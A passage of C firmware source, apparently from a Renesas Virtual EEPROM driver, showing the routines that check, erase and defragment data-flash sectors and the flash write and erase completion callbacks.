R_FlashWrite( (FLASH_PTR_TYPE)&g_vee_write_address->ID, \n (BUF_PTR_TYPE)&g_vee_current_record.ID,\n sizeof(g_vee_current_record.ID) ); \n\n /* Next time in the ISR we will write the 'size' field */\n g_vee_write_state = VEE_WRITE_SIZE;\n\n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function vee_start_write\n***********************************************************************************************************************/\n\n\n/***********************************************************************************************************************\n* Function Name: vee_check_sector\n* Description : Checks for errors in a sector and finds next blank spot\n* Arguments : sector - \n* Which VEE Sector to check\n* Return Value : VEE_SUCCESS - \n* Successful, sector is valid and ready\n* VEE_BUSY - \n* Error found, now API is fixing it\n* VEE_NOT_FOUND - \n* No active block found, preparing block\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_check_sector (uint8_t sector)\n{\n /* Loop variables */\n uint32_t i;\n /* Structure pointer for VEE Block info */\n vee_block_info_t block_info;\n /* The found active block */\n int32_t active_block;\n int32_t nextup_block; \n int32_t active_and_full_block;\n \n /* Init variables */\n active_and_full_block = -1;\n nextup_block = -1;\n active_block = -1; \n \n /* Loop through VEE Blocks in this VEE Sector */\n for(i = 0; i < g_vee_Sectors[sector].num_VEE_blocks; i++)\n {\n /* Get information from status flags about this block */\n vee_get_block_info(sector, i, &block_info);\n \n if( block_info.erasing == VEE_BLOCK_FLAG_SET )\n {\n /* Set global variables which will allow us to erase multiple blocks without user intervention */\n g_vee_erase_block_current = g_vee_Sectors[sector].df_blocks[i][0];\n g_vee_erase_block_end = g_vee_Sectors[sector].df_blocks[i][1]; \n \n /* Set state to erasing */\n g_vee_state = VEE_ERASING;\n \n /* This block was interrupted during an erase, start erase again */\n if( R_FlashErase(g_vee_erase_block_end) != FLASH_SUCCESS )\n { \n /* Something failed in the FlashAPI */\n FlashError();\n } \n \n /* Erase in process */\n return VEE_BUSY;\n }\n else if( (block_info.active == VEE_BLOCK_FLAG_SET) &&\n (block_info.full == VEE_BLOCK_FLAG_NOT_SET) )\n {\n /* ACTIVE block found, keep searching to make sure other blocks\n are okay (e.g. make sure no blocks failed during erasure) */\n active_block = i; \n }\n else if( (block_info.active == VEE_BLOCK_FLAG_NOT_SET) &&\n (block_info.nextup == VEE_BLOCK_FLAG_SET) )\n {\n /* In this case a reset interrupted a defrag. To fix this we need to erase the NEXTUP block and try the \n defrag again. */\n if( active_and_full_block != -1 ) \n { \n /* The ACTIVE & FULL block has already been found */ \n vee_erase_and_defrag(sector, (uint32_t)active_and_full_block, i);\n \n /* Write will have to wait */\n return VEE_BUSY;\n }\n else\n {\n /* We now need to find the ACTIVE & FULL block to start Erase & Defrag */\n nextup_block = i; \n }\n }\n else if( (block_info.active == VEE_BLOCK_FLAG_SET) &&\n (block_info.full == VEE_BLOCK_FLAG_SET) )\n { \n /* We found a block that was ACTIVE and FULL. A defrag should have been started */\n if( nextup_block != -1 )\n {\n /* The NEXTUP block has already been found. Erase that block and start defrag again */\n vee_erase_and_defrag(sector, i, (uint32_t)nextup_block);\n \n /* Write will have to wait */\n return VEE_BUSY;\n }\n else\n {\n /* Defrag is needed, find the NEXTUP block if there is one */\n active_and_full_block = i;\n }\n }\n }\n \n /* Check results of searching the sector */\n if( (active_block != -1) && ((active_and_full_block != -1) || (nextup_block != -1)) )\n {\n /* This should not happen, there is a block marked ACTIVE and also another block that is marked ACTIVE or \n NEXTUP. This likely means that an erase failed. Try to erase the block again */\n if( active_and_full_block != -1 )\n {\n /* Should invalidate the cache in case records in the FULL block have been read. */\n vee_invalidate_cache(sector);\n\n /* This block was interrupted during an erase, start erase again */\n vee_erase_block(sector, (uint32_t)active_and_full_block); \n }\n else\n {\n /* This block was interrupted during an erase, start erase again */\n vee_erase_block(sector, (uint32_t)nextup_block); \n } \n \n /* Erase in process */\n return VEE_BUSY; \n }\n if( (active_and_full_block != -1) && (nextup_block == -1) )\n {\n /* This catches the case between the FULL flag being written in one block and the NEXTUP flag being written in \n the other block. In this case just a defrag is needed */ \n /* Release state so defrag can start */\n g_vee_state = VEE_DEFRAG;\n \n /* Init for defrag */\n g_vee_current_record.ID = 0xFF;\n \n /* Start Defrag */\n vee_defrag_block(sector, \n (uint32_t)active_and_full_block, \n (uint32_t)((active_and_full_block+1)%g_vee_Sectors[sector].num_VEE_blocks)); \n \n /* Return that a process is now ongoing */\n return VEE_BUSY;\n }\n else if( (active_block != -1) && \n (active_and_full_block == -1) && \n (nextup_block == -1) )\n {\n /* Active block found, make sure it's ready to write. If there was a power down during a record program then it \n could cause an error here */ \n if( vee_check_block(sector, (uint32_t)active_block) == VEE_SUCCESS )\n {\n /* Block is good and ready to use */\n return VEE_SUCCESS;\n }\n else\n {\n /* Bad record was found or block was full, defrag needed */\n /* Release state so defrag can start */\n g_vee_state = VEE_DEFRAG;\n \n /* Init for defrag */\n g_vee_current_record.ID = 0xFF;\n \n /* Start Defrag */\n vee_defrag_block(sector, \n (uint32_t)active_block, \n (uint32_t)((active_block+1)%g_vee_Sectors[sector].num_VEE_blocks));\n \n /* Defrag is process */\n return VEE_BUSY; \n }\n }\n else if( (active_and_full_block == -1) &&\n (nextup_block == -1) && \n (active_block == -1) )\n {\n /* This means that the sector should be empty */\n \n /* If user is requesting defrag then we should ignore since sector is empty */\n if( g_vee_state == VEE_DEFRAG )\n { \n /* No ACTIVE block found, defrag ignored */\n return VEE_NOT_FOUND;\n } \n \n /* Init some global state for blank checking */\n g_vee_blank_check_block_current = g_vee_Sectors[sector].df_blocks[0][0];\n g_vee_blank_check_block_end = g_vee_Sectors[sector].df_blocks[0][1];\n g_vee_current_sector = sector;\n \n /* Verify that the sector is empty */\n if( vee_blank_check_block( g_vee_blank_check_block_current ) == VEE_SUCCESS )\n { \n /* No ACTIVE block found, blank check in progress */\n return VEE_NOT_FOUND;\n }\n else\n {\n /* Problem with FlashAPI */\n FlashError();\n }\n }\n else\n {\n /* This should never happen, this means that you found a NEXTUP block that was not yet marked ACTIVE and did not \n find another block marked ACTIVE or (ACTIVE and FULL). */\n FlashError();\n }\n \n /* Dummy return to make sure nothing happens if FlashError() returns */\n return VEE_BUSY;\n}\n/***********************************************************************************************************************\nEnd of function vee_check_sector\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_check_block\n* Description : Checks for errors in a VEE Block\n* Arguments : sector - \n* Which VEE Sector this block is in\n* block - \n* Which VEE Block to check\n* Return Value : VEE_SUCCESS - \n* Successful, VEE Block is valid and ready\n* VEE_FAILURE - \n* Block has a bad record\n* VEE_NO_ROOM - \n* Block is valid, but full\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_check_block (uint8_t sector, uint32_t block)\n{\n /* Pointers for searching */\n vee_record_t *ptr, *end_addr; \n \n /* Move past flags at beginning */\n ptr = (vee_record_t *)(((uint8_t *)g_vee_Sectors[sector].VEE_block_addr[block]) +\n ((VEE_BLOCK_STATE_NEXTUP+1)*sizeof(vee_var_min_t)));\n /* Flags are at beginning of block so end is the real end */\n end_addr = (vee_record_t *)(((uint8_t *)g_vee_Sectors[sector].VEE_block_addr[block]) + \n g_vee_Sectors[sector].VEE_block_size);\n \n /* Search until end of block */\n while(ptr < end_addr )\n {\n /* Make sure this address is not empty */\n if( vee_blank_check_address((uint8_t *)ptr) == VEE_SUCCESS )\n {\n /* Address was blank so search is done */ \n /* Fill in NextAddress cache */\n g_vee_next_address[sector].address = (uint8_t *)ptr;\n g_vee_next_address[sector].block = block;\n g_vee_next_address[sector].valid = VEE_CACHE_ENTRY_VALID;\n \n /* Blank address was found which is what we want */\n return VEE_SUCCESS;\n }\n \n /* Check to make sure record is valid */\n if( vee_check_record(ptr) == VEE_FAILURE )\n { \n /* Record is invalid */\n return VEE_FAILURE;\n }\n \n /* Move on to next record */\n ptr = (vee_record_t *)(((uint8_t *)&ptr->pData) + ptr->size);\n \n /* Only need to check boundary if minimum write size is larger than 1 byte */\n if( sizeof(vee_var_min_t) > 1 )\n {\n /* Due to program sizes on some data flashes we need to make sure that we are on a program boundary */\n ptr = ( vee_record_t *)vee_move_to_boundary((uint32_t)ptr); \n }\n }\n \n /* Block is valid, but full */\n return VEE_NO_ROOM;\n}\n/***********************************************************************************************************************\nEnd of function vee_check_block\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_Erase\n* Description : Attempts to erase a VEE Sector\n* Arguments : sector - \n* Which VEE Sector to erase\n* Return Value : VEE_SUCCESS - \n* Successful, sector erase in progress\n* VEE_BUSY - \n* Other flash operation is on going\n* VEE_FAILURE - \n* Failure\n* VEE_INVALID_INPUT -\n* Invalid sector input.\n***********************************************************************************************************************/\nuint8_t R_VEE_Erase (uint8_t sector)\n{\n /* Loop variables */\n uint32_t i;\n /* Structure pointer for VEE Block info */\n vee_block_info_t block_info;\n\n /* Check input. */\n if (VEE_SUCCESS != vee_check_input_sector(sector))\n {\n /* Invalid sector input. */\n return VEE_INVALID_INPUT;\n }\n \n /* Try to grab VEE State */\n if( vee_grab_state(VEE_ERASING) != VEE_SUCCESS )\n {\n /* Could not grab state */\n return VEE_BUSY;\n }\n\n /* Invalidate valid indicator for next valid address in this sector. */\n g_vee_next_address[sector].valid = VEE_CACHE_ENTRY_INVALID;\n \n /* Loop through VEE Blocks in sector and erase */\n for(i = 0; i < g_vee_Sectors[sector].num_VEE_blocks; i++)\n {\n /* Get information from status flags about this block */\n vee_get_block_info(sector, i, &block_info);\n \n /* Check to see if block is empty */\n if( (block_info.active == VEE_BLOCK_FLAG_SET) ||\n (block_info.full == VEE_BLOCK_FLAG_SET) ||\n (block_info.nextup == VEE_BLOCK_FLAG_SET) ||\n (block_info.erasing == VEE_BLOCK_FLAG_SET) )\n {\n /* Mark cache entries from this sector as invalid */\n vee_invalidate_cache(sector);\n\n /* At least onen flag is set so this VEE Block is not empty */\n return vee_erase_block(sector, i);\n } \n }\n \n /* If we get here then all blocks were already erased */\n /* Release state */\n g_vee_state = VEE_READY;\n\n /* Still need to call callback function since code might be waiting. */\n #ifdef VEE_CALLBACK_FUNCTION\n /* Call user's callback function */\n VEE_CALLBACK_FUNCTION();\n #endif\n \n /* All blocks are erased */\n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function R_VEE_Erase\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_erase_block\n* Description : Attempts to erase a VEE Block\n* Arguments : sector - \n* Which VEE Sector the VEE Block is in\n* block - \n* Which VEE Block to erase\n* Return Value : VEE_SUCCESS - \n* Successful, block erase in progress\n* VEE_FAILURE - \n* Failure\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_erase_block (uint8_t sector, uint32_t block)\n{\n /* Set global variables which will allow us to erase multiple blocks without user intervention */\n g_vee_erase_block_current = g_vee_Sectors[sector].df_blocks[block][0];\n g_vee_erase_block_end = g_vee_Sectors[sector].df_blocks[block][1]; \n \n /* Set write state so we know to start erase after write is done */\n g_vee_write_state = VEE_WRITE_DONE;\n \n /* Start erase by first writing the ERASING flag in the block that is getting erased */\n if( VEE_SUCCESS != vee_write_flag(sector, block, VEE_BLOCK_STATE_ERASING, VEE_BLOCK_FLAG_ERASING) )\n {\n /* Flag had already been written, proceed with erase */ \n if( R_FlashErase(g_vee_erase_block_end) != FLASH_SUCCESS )\n { \n /* Something failed in the FlashAPI */\n FlashError();\n } \n }\n \n /* Block is being erased */\n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function vee_erase_block\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_erase_and_defrag\n* Description : Attempts to erase a VEE Block and then resume a defrag\n* Arguments : sector - \n* Which VEE Sector the VEE Block is in\n* active - \n* Which VEE Block is marked ACTIVE\n* nextup - \n* The block was marked as NEXTUP but never became ACTIVE due to reset\n* Return Value : VEE_SUCCESS - \n* Successful, block erase in progress\n* VEE_FAILURE - \n* Failure\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_erase_and_defrag (uint8_t sector, uint32_t active, uint32_t nextup)\n{\n /* Mark state */\n g_vee_state = VEE_ERASE_AND_DEFRAG;\n \n /* Set which sector is active for later defrag */\n g_vee_current_sector = sector;\n \n /* Set which blocks are active and nextup */\n g_vee_current_block_active = active;\n g_vee_current_block_nextup = nextup; \n \n /* Invalidate cache */\n vee_invalidate_cache(sector);\n\n /* Start erase of old NEXTUP block */\n return vee_erase_block(sector, nextup);\n}\n/***********************************************************************************************************************\nEnd of function vee_erase_and_defrag\n***********************************************************************************************************************/\n\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_Defrag\n* Description : Defrags a sector. The user might want to do a defrag when not required during idle time so that a \n* defrag has less chance of happening during a more busy writing phase. This function only starts the \n* defrag.\n* Arguments : sector - \n* Which VEE Sector to defrag\n* Return Value : VEE_SUCCESS - \n* Successful, defrag in progress\n* VEE_BUSY - \n* Other VEE operation in progress\n* VEE_NOT_FOUND - \n* No ACTIVE block found to defrag \n* VEE_INVALID_INPUT -\n* Invalid sector input.\n***********************************************************************************************************************/\nuint8_t R_VEE_Defrag (uint8_t sector)\n{\n /* Local variables */\n uint32_t i;\n uint8_t ret;\n /* Structure pointer for VEE Block info */\n vee_block_info_t block_info; \n\n /* Check input. */\n if (VEE_SUCCESS != vee_check_input_sector(sector))\n {\n /* Invalid sector input. */\n return VEE_INVALID_INPUT;\n }\n \n /* Check to see if defrag is already in process */\n if( g_vee_state == VEE_DEFRAG )\n {\n /* Defrag already in process */\n return VEE_BUSY; \n }\n else\n {\n /* Grab state if we do not already have it */\n if( g_vee_state != VEE_WRITE_AND_DEFRAG )\n {\n /* Try to grab VEE State */\n if( vee_grab_state(VEE_DEFRAG) != VEE_SUCCESS )\n {\n /* Could not grab state */\n return VEE_BUSY;\n }\n }\n \n /* Check to see if the next available address cached */\n if( g_vee_next_address[sector].valid != VEE_CACHE_ENTRY_VALID )\n {\n /* Next available write address not in cache. This means that this is the first write or defrag that has \n been issued. At this point error checking be done on this VEE Sector to see if a power down occurred \n during a program or erasure. If a error is detected, the API will start the process of fixing the \n problem. If no error is detected then this defrag can proceed on. */\n ret = vee_check_sector(sector);\n \n /* Check return value */\n if( ret == VEE_BUSY )\n {\n /* Something had to be fixed or initialized, come back later */\n return VEE_BUSY;\n } \n else if( ret == VEE_NOT_FOUND )\n {\n /* Release state */\n g_vee_state = VEE_READY;\n \n /* Sector was blank, nothing to defrag */\n return VEE_NOT_FOUND;\n } \n } \n \n /* Find ACTIVE block */\n /* Loop through VEE Blocks in this VEE Sector */\n for(i = 0; i < g_vee_Sectors[sector].num_VEE_blocks; i++)\n {\n /* Get information from status flags about this block */\n vee_get_block_info(sector, i, &block_info);\n \n if( (block_info.active == VEE_BLOCK_FLAG_SET) &&\n (block_info.full == VEE_BLOCK_FLAG_NOT_SET) )\n {\n /* Found ACTIVE block */\n \n /* Only init state if we do not have a record to write */\n if( g_vee_state != VEE_WRITE_AND_DEFRAG )\n {\n /* Init global state used */\n g_vee_current_record.ID = 0xFF;\n }\n \n /* Start defrag process */ \n return vee_defrag_block( sector, \n i,\n (i+1)%g_vee_Sectors[sector].num_VEE_blocks );\n }\n }\n \n /* If we got to here then no ACTIVE block was found */\n g_vee_state = VEE_READY;\n \n /* Return ACTIVE block was not found */\n return VEE_NOT_FOUND;\n }\n}\n/***********************************************************************************************************************\nEnd of function R_VEE_Defrag\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_defrag_block\n* Description : This continues the defrag. It goes through the records one by one to see if they need to be moved.\n* Arguments : sector - \n* Which VEE Sector we are dealing with\n* active - \n* The ACTIVE VEE Block being defragged\n* nextup - \n* The new VEE Block that will become ACTIVE\n* Return Value : VEE_SUCCESS - \n* Successful, defrag in progress\n* VEE_BUSY - \n* Other VEE operation in progress\n* VEE_FAILURE - \n* g_vee_state should already be in defrag mode\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_defrag_block (uint8_t sector, uint32_t active, uint32_t nextup)\n{\n /* Temp structure */\n vee_record_t vee_temp;\n \n /* Check to see if defrag is already in process */\n if( (g_vee_state != VEE_DEFRAG) &&\n (g_vee_state != VEE_WRITE_AND_DEFRAG) )\n {\n /* The g_vee_state should already be in defrag mode by now */\n return VEE_FAILURE; \n }\n else if( (g_vee_current_record.ID == 0xFF) ||\n (g_vee_state == VEE_WRITE_AND_DEFRAG) )\n {\n /* This is first time into function, need to write FULL and NEXTUP flags first */ \n \n /* Save which sector and blocks is being defragged */\n g_vee_current_sector = sector;\n g_vee_current_block_active = active;\n g_vee_current_block_nextup = nextup; \n\n /* Init some global state for blank checking */\n g_vee_blank_check_block_current = g_vee_Sectors[sector].df_blocks[nextup][0];\n g_vee_blank_check_block_end = g_vee_Sectors[sector].df_blocks[nextup][1]; \n \n /* Verify NEXTUP block is empty */\n if( vee_blank_check_block( g_vee_blank_check_block_current ) != VEE_SUCCESS)\n {\n /* Flash error when trying to perform blank check */\n FlashError();\n } \n }\n /* Check to see if we have more records to move */\n else if( (g_vee_current_record.ID >= VEE_MAX_RECORD_ID) &&\n (g_vee_current_record.ID != 0xFF) )\n { \n /* Now that the records have been moved, we need to write the ACTIVE flag in the NEXTUP block and then erase \n the old ACTIVE block */ \n \n /* Write ACTIVE flag */ \n if(VEE_FAILURE == vee_write_flag(g_vee_current_sector, \n g_vee_current_block_nextup, \n VEE_BLOCK_STATE_ACTIVE,\n VEE_BLOCK_FLAG_ACTIVE) )\n {\n /* Problem writing flag */\n FlashError();\n }\n \n /* Set write state to write the ERASING flag next */\n g_vee_write_state = VEE_WRITE_FLAG_ERASING; \n }\n else\n {\n /* Find next record in this sector that might need to be moved */\n while(VEE_MAX_RECORD_ID > g_vee_current_record.ID)\n {\n /* See if this record resides in the sector being defragged */\n if(g_vee_RecordLocations[g_vee_current_record.ID] == g_vee_current_sector)\n {\n /* Found a record to be moved! */\n /* Continue on with defrag */ \n if( g_vee_cache.entries[g_vee_current_record.ID].valid == VEE_CACHE_ENTRY_VALID )\n {\n /* Check to see if record is already in NEXTUP block */\n if( g_vee_cache.entries[g_vee_current_record.ID].block != nextup )\n {\n /* Record needs to be moved */ \n memcpy((uint8_t far *)(&vee_temp), \n (uint8_t far *)(g_vee_cache.entries[g_vee_current_record.ID].address), \n sizeof(vee_record_t));\n \n /* Copy over data so that pData is correct */ \n vee_temp.pData = (uint8_t far *)&((vee_record_t far *)\n (g_vee_cache.entries[g_vee_current_record.ID].address))->pData;\n \n /* Issue write */\n return vee_start_write(&vee_temp);\n }\n /* Else block has already been moved */\n }\n else\n {\n /* Check to see if entire cache is valid, if so then this record is empty */\n if(g_vee_cache.valid != VEE_CACHE_ENTRY_VALID)\n {\n /* Cache is not filled, we need to seek for record */\n if( vee_find_record(sector, active, &g_vee_current_record) == VEE_SUCCESS )\n {\n /* Record was found, move it to NEXTUP block */\n g_vee_current_record.block = nextup;\n \n /* Issue write */\n return vee_start_write(&g_vee_current_record); \n }\n /* Else this record was not found in the ACTIVE block */ \n }\n /* Else this record is not in the system */\n }\n }\n \n /* This record does not need to be moved, move to next one */\n g_vee_current_record.ID++;\n }\n\n /* Now that the records have been moved, we need to write the ACTIVE flag in the NEXTUP block and then \n erase the old ACTIVE block */ \n\n /* Write NEXTUP flag */ \n if(VEE_FAILURE == vee_write_flag(g_vee_current_sector, \n g_vee_current_block_nextup,\n VEE_BLOCK_STATE_ACTIVE,\n VEE_BLOCK_FLAG_ACTIVE) )\n {\n /* Problem writing flag */\n FlashError();\n }\n\n /* Set write state to write the ERASING flag next */\n g_vee_write_state = VEE_WRITE_FLAG_ERASING; \n }\n /* Continue on with defrag */\n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function vee_defrag_block\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_write_flag\n* Description : Writes a flag to a VEE Block\n* Arguments : sector - \n* Which VEE Sector we are dealing with\n* block - \n* Which VEE Block to write to\n* flag - \n* Which flag to write\n* value - \n* What to write\n* Return Value : VEE_SUCCESS - \n* Successful, write in progress\n* VEE_FAILURE - \n* Problem in FlashAPI or flag already written\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_write_flag (uint8_t sector, uint32_t block, uint8_t flag, vee_var_min_t value)\n{\n /* Pointer used for writing flag */\n uint32_t ptr; \n \n /* Get pointer to base of VEE Block */ \n ptr = g_vee_Sectors[sector].VEE_block_addr[block];\n /* Move to flag */\n ptr += (flag*sizeof(vee_var_min_t)); \n \n /* Should perform blank check on flag to make sure we are not writing on already written data which will cause a \n flash error */\n if( vee_blank_check_address( (uint8_t *)ptr ) != VEE_SUCCESS )\n {\n /* Flag has already been written. Check to see if it is the correct value. The value would already be set when \n the VEE system is recovering from a unexpected reset. Example, if the FULL flag was written and a power down \n occured before NEXTUP was written. */\n if (*(vee_var_min_t *)ptr != value)\n {\n /* In this case the flag address has already been written and it is not the correct value. */ \n return VEE_FAILURE;\n }\n else\n {\n /* The flag value does match the expected value. Continue on as if the write completed successfully. Extra \n care will need to be taken in this situation since a write was not actually performed and the \n FlashWriteDone() function will not be called automatically by the Flash API. */\n return VEE_BUSY;\n }\n } \n \n /* Write flag */\n if( R_FlashWrite( (FLASH_PTR_TYPE)ptr, (BUF_PTR_TYPE)&value, sizeof(value)) == FLASH_SUCCESS )\n {\n /* Write was started successfully */\n return VEE_SUCCESS;\n }\n else\n {\n /* There was a problem with the FlashAPI */\n return VEE_FAILURE;\n }\n\n}\n/***********************************************************************************************************************\nEnd of function vee_write_flag\n***********************************************************************************************************************/\n\n\n/***********************************************************************************************************************\n* Function Name: FlashEraseDone\n* Description : Callback function from FlashAPI that signifies that the requested erase has finished. This function is \n* called from a interrupt.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nvoid FlashEraseDone (void)\n{\n /* Check to see if there are any more data flash blocks to erase */\n if( g_vee_erase_block_current != g_vee_erase_block_end )\n {\n /* There are more blocks to erase, keep going */\n g_vee_erase_block_end--;\n \n /* Issue next erase */\n if( R_FlashErase(g_vee_erase_block_end) != FLASH_SUCCESS )\n { \n /* Error has occurred */\n FlashError();\n } \n } \n else\n {\n /* Check to see if defrag was also needed */\n if( (g_vee_state == VEE_ERASE_AND_DEFRAG) ||\n (g_vee_state == VEE_WRITE_AND_DEFRAG) )\n {\n if(g_vee_state == VEE_ERASE_AND_DEFRAG) {\n /* Defrag needed now */\n g_vee_state = VEE_DEFRAG;\n }\n \n /* Write NEXTUP flag */ \n vee_write_flag(g_vee_current_sector, \n g_vee_current_block_nextup,\n VEE_BLOCK_STATE_NEXTUP,\n VEE_BLOCK_FLAG_NEXTUP); \n \n /* Update next available write location */\n /* Move past flags at beginning */\n g_vee_next_address[g_vee_current_sector].address = (uint8_t far *)\n (g_vee_Sectors[g_vee_current_sector].VEE_block_addr[g_vee_current_block_nextup] +\n ((VEE_BLOCK_STATE_NEXTUP+1)*sizeof(vee_var_min_t)));\n \n /* Update block and valid fields */\n g_vee_next_address[g_vee_current_sector].block = g_vee_current_block_nextup;\n g_vee_next_address[g_vee_current_sector].valid = VEE_CACHE_ENTRY_VALID;\n \n /* Next time we will start moving records */\n g_vee_write_state = VEE_WRITE_START_DEFRAG;\n \n return;\n \n }\n else if( g_vee_state == VEE_ERASE_AND_WRITE )\n {\n /* Block was erased, now write the record */\n g_vee_state = VEE_WRITING;\n \n /* In this state we are about to make a block ACTIVE */\n /* Make first block ACTIVE */\n if( VEE_SUCCESS == vee_write_flag( g_vee_current_sector, \n 0,\n VEE_BLOCK_STATE_ACTIVE, \n VEE_BLOCK_FLAG_ACTIVE) )\n {\n /* Write record after this */\n g_vee_write_state = VEE_WRITE_ID;\n \n /* Set up next address cache */\n g_vee_next_address[g_vee_current_sector].address = (uint8_t far *)\n g_vee_Sectors[g_vee_current_sector].VEE_block_addr[0] + \n ((VEE_BLOCK_STATE_NEXTUP+1)*sizeof(vee_var_min_t));\n g_vee_next_address[g_vee_current_sector].block = 0;\n g_vee_next_address[g_vee_current_sector].valid = VEE_CACHE_ENTRY_VALID; \n \n /* Writing state flag */\n return; \n }\n else\n {\n /* Problem with Flash API */\n FlashError();\n } \n }\n else\n { \n /* All erases are done, release state */ \n g_vee_state = VEE_READY; \n\n #ifdef VEE_CALLBACK_FUNCTION\n /* Call user's callback function */\n VEE_CALLBACK_FUNCTION();\n #endif \n }\n }\n}\n/***********************************************************************************************************************\nEnd of function FlashEraseDone\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: FlashWriteDone\n* Description : Callback function from FlashAPI that signifies that the requested write has finished. This function is \n* called from a interrupt.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nvoid FlashWriteDone (void)\n{ \n /* Check Write State to see what needs to be done */\n if( g_vee_write_state != VEE_WRITE_DONE )\n {\n switch( g_vee_write_state )\n {\n case VEE_WRITE_FLAG_ERASING:\n \n /* Start erase */\n if(VEE_FAILURE == vee_erase_block(g_vee_current_sector, g_vee_current_block_active) )\n {\n /* Problem writing flag */\n FlashError();\n }\n \n /* Set state so when write is done we know to start erasing */\n g_vee_state = VEE_ERASING;\n \n /* Write is done */\n g_vee_write_state = VEE_WRITE_DONE;\n \n return;\n \n case VEE_WRITE_FLAG_NEXTUP:\n \n /* Write NEXTUP flag */ \n vee_write_flag(g_vee_current_sector, \n g_vee_current_block_nextup,\n VEE_BLOCK_STATE_NEXTUP,\n VEE_BLOCK_FLAG_NEXTUP); \n \n /* Update next available write location */\n /* Move past flags at beginning */\n g_vee_next_address[g_vee_current_sector].address = (uint8_t far *)\n (g_vee_Sectors[g_vee_current_sector].VEE_block_addr[g_vee_current_block_nextup] +\n ((VEE_BLOCK_STATE_NEXTUP+1)*sizeof(vee_var_min_t)));\n \n /* Update block and valid fields */\n g_vee_next_address[g_vee_current_sector].block = g_vee_current_block_nextup;\n g_vee_next_address[g_vee_current_sector].valid = VEE_CACHE_ENTRY_VALID;\n \n /* Next time we will start moving records */\n g_vee_write_state = VEE_WRITE_START_DEFRAG;\n \n return;\n \n case VEE_WRITE_START_DEFRAG:\n \n /* Check to see if we need to write a new record before defrag */\n if( g_vee_state == VEE_WRITE_AND_DEFRAG )\n {\n /* We need to write a new record before starting defrag */\n vee_start_write(&g_vee_current_record);\n }\n else\n { \n /* Init defrag search */\n g_vee_current_record.ID = 0; \n \n /* Start looking for records to be moved */\n vee_defrag_block(g_vee_current_sector, g_vee_current_block_active, g_vee_current_block_nextup); \n } \n \n return;\n \n case VEE_WRITE_ID:\n \n /* Prepare for rest of write and write 'ID' field */\n vee_start_write(&g_vee_current_record);\n \n return;\n \n case VEE_WRITE_SIZE:\n \n /* Write 'size' structure member */\n R_FlashWrite( (FLASH_PTR_TYPE)&g_vee_write_address->size, \n (BUF_PTR_TYPE)&g_vee_current_record.size,\n sizeof(g_vee_current_record.size) );\n\n /* Next time in we will write the 'block' field */\n g_vee_write_state = VEE_WRITE_BLOCK;\n \n return;\n \n case VEE_WRITE_BLOCK:\n \n /* Write 'block' structure member */\n R_FlashWrite( (FLASH_PTR_TYPE)&g_vee_write_address->block, \n (BUF_PTR_TYPE)&g_vee_current_record.block,\n sizeof(g_vee_current_record.block) );\n\n /* Next time in we will write the 'data' field */\n g_vee_write_state = VEE_WRITE_DATA;\n \n return;\n \n case VEE_WRITE_DATA:\n \n /* Write 'pData' structure member */\n if(sizeof(vee_var_min_t) > 1)\n {\n /* We have to be careful that we send the FlashAPI a buffer size that is an integer multiple of its \n programming size. For example: on the RX62N the data flash can program in 8 byte increments. If \n we have 13 bytes of data we actually need to send 16 to the FlashAPI */\n R_FlashWrite( (FLASH_PTR_TYPE)&g_vee_write_address->pData, \n (BUF_PTR_TYPE)g_vee_current_record.pData,\n (uint16_t)(g_vee_current_record.size + \n ((sizeof(vee_var_min_t) - (g_vee_current_record.size % sizeof(vee_var_min_t))) % \n sizeof(vee_var_min_t))));\n }\n else\n {\n /* If the program size is 1 then no worries */\n R_FlashWrite( (FLASH_PTR_TYPE)&g_vee_write_address->pData,\n (BUF_PTR_TYPE)g_vee_current_record.pData,\n g_vee_current_record.size);\n }\n\n /* Next time in we will write the 'block' field */\n g_vee_write_state = VEE_WRITE_CHECK;\n \n return;\n \n case VEE_WRITE_CHECK:\n \n /* Write 'check' structure member */\n R_FlashWrite( (FLASH_PTR_TYPE)&g_vee_write_address->check, \n (BUF_PTR_TYPE)&g_vee_current_record.check,\n sizeof(g_vee_current_record.check));\n \n /* Update cache */\n g_vee_cache.entries[g_vee_current_record.ID].address = g_vee_write_address;\n g_vee_cache.entries[g_vee_current_record.ID].block = g_vee_current_record.block;\n g_vee_cache.entries[g_vee_current_record.ID].valid = VEE_CACHE_ENTRY_VALID;\n \n /* Update next available write location */\n if( sizeof(vee_var_min_t) == 1 )\n {\n /* No need to align write boundary */\n g_vee_next_address[g_vee_current_sector].address = (uint8_t far *)\n ( ((uint8_t far *)&g_vee_write_address->pData) + \n g_vee_current_record.size );\n }\n else\n {\n /* Need to align write boundary */\n g_vee_next_address[g_vee_current_sector].address = (uint8_t far *)\n vee_move_to_boundary(((uint32_t)&g_vee_write_address->pData) + g_vee_current_record.size);\n }\n \n /* Update block and valid fields */\n g_vee_next_address[g_vee_current_sector].block = g_vee_current_record.block;\n g_vee_next_address[g_vee_current_sector].valid = VEE_CACHE_ENTRY_VALID;\n\n /* Check to see if we need to defrag now */\n if( g_vee_state != VEE_WRITE_AND_DEFRAG )\n {\n /* Write is done */\n g_vee_write_state = VEE_WRITE_DONE;\n }\n else\n {\n /* Write is done, set state to DEFRAG */\n g_vee_state = VEE_DEFRAG;\n \n /* Next time we will start moving records */\n g_vee_write_state = VEE_WRITE_START_DEFRAG; \n }\n \n return;\n \n default:\n \n /* Should never get here */\n 